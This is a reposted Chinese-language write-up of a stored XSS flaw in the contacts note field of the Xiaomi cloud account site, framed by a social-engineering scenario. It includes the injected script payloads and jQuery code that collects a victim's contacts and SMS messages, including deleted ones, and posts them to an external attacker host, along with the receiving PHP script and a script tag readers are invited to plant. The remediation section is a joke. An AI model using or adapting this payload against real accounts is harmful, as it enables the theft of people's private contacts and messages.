来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始;情景假设:A:嘿,MAN,你也用小米手机?B:当然了,小米手机杠杠的!A:我最近拿到了XX门主角的电话哦!看在朋...
现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始;
情景假设: A:嘿,MAN,你也用小米手机? B:当然了,小米手机杠杠的! A:我最近拿到了XX门主角的电话哦!看在朋友的份上…不过要到同步到电脑登陆i.xiaomi.com才能看到号码。 B:好的!好的! 于是,过后B屁颠屁颠的登陆i.xiaomi.com去看,结果什么也没有。与此同时,A在电脑的另一端收集到了B的小米账户名!手机联系人!手机短信! 下面开正题,登陆小米账户,在右侧会显示联系人的详细资料,如图: 可以看到是直接显示出来,而且对电话、邮件的格式没有进行过滤。 为了保险,我们选一个能写大量字符的地方,没错,那就是备注! <Iframe src="http://www.baidu.com"></iframe>
写入成功!<script>alert(/xss by cp0204/);</script> 谁说XSS价值不大,其实看你怎么利用罢了。试过抓包,但小米账户是https,抓包很困难,用浏览器就分析 继续深入 都抓出来,分别对应3个栏目,现在我们想办法收集这些数据 可以看到它是这样的,其中37009121是我的小米ID,后面跟的参数不知道什么,不管有用没用,但都可以通过JS取到 https://i.xiaomi.com/contacts/37009121/full?_dc=1342331522472&syncTag=0&limit=500
返回:{"result":"ok","description":"成功","data":{"content":{"9204442":{"content":{"id":9204442,"status":"custom","tag":10327278,"organizations":[{"title":"领导","company":"有关部门"}],"emails":[{"value":"Cp0204@qq.com","type":"home"}],"phoneNumbers":[{"value":"123456","type":"mobile"}],"displayName":"有关部门","note":"<Iframe src=\"http://www.baidu.com\"><\/iframe> \n<script>alert(/xss by cp0204/);<\/script>"},"spinyin":"ygbm","type":"contact","pinyin":"youguanbumen"}},"lastPage":true,"letterIndex":{"Y":[9204442]},"group":[],"syncTag":10327278},"code":0}
网站已引入了jquery,那我就方便多了,写js获取数据 //取联系人
然后,收集result1 = getdata("/contacts/"+mid+"/full?syncTag=0"); //取短信 result2 = getdata("/sms/"+mid+"/full/thread?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//全部 result3 = getdata("/sms/"+mid+"/locked?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//收藏 result4 = getdata("/sms/"+mid+"/deleted/thread??syncTag=0&limit=20&_dc=1342338505981&readMode=older");//已删除 function getdata(url) { var data $.ajax({ url: url, async: false, success: function(result){data = obj2str(result);}, }); return data; } ………… $.post("http://cptimer.sinaapp.com/mi/mi.php?mid="+mid+"&data="+data,{mid:mid,data:data}, function(result){
顺便提一下,jq ajax是不可以跨域,但其实是可以提交,只是没有返回。所以这里post是可以的,mi.phpalert(result); //return mid data }); <?
$mid=$_REQUEST['mid']; $data=$_REQUEST['data']; echo "小米ID:".$_REQUEST["mid"]."\n账户数据:".$_REQUEST["data"]; ?> 如此一来,联系人、短信全收集,什么门也出来了 有没有小白在备注里加上以下,做下试验,仅供学习… <script src="http://cptimer.sinaapp.com/mi/mi.js"></script>
================== 最后总结=================== 小白学习,大牛就见笑了。小小的XSS,也是大大的问题。很多人鄙视XSS,大概那些人只会弹个窗罢了。 还有就是加上社工,怎么传那个联系人给别人。 而且,有小米手机的可以测试一下通过短信箱能不能攻击,能的话就更简单了!发条xss短信,然后叫他上小米账户看…也是另外一个思路,没有小米手机测试不了。 窃取这些东西还是很有价值的,你试想一下,你的联系人、短信全部泄露… 特别一些重要人员,例如…有关部门的有关领导 修复方案:
你比我牛 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com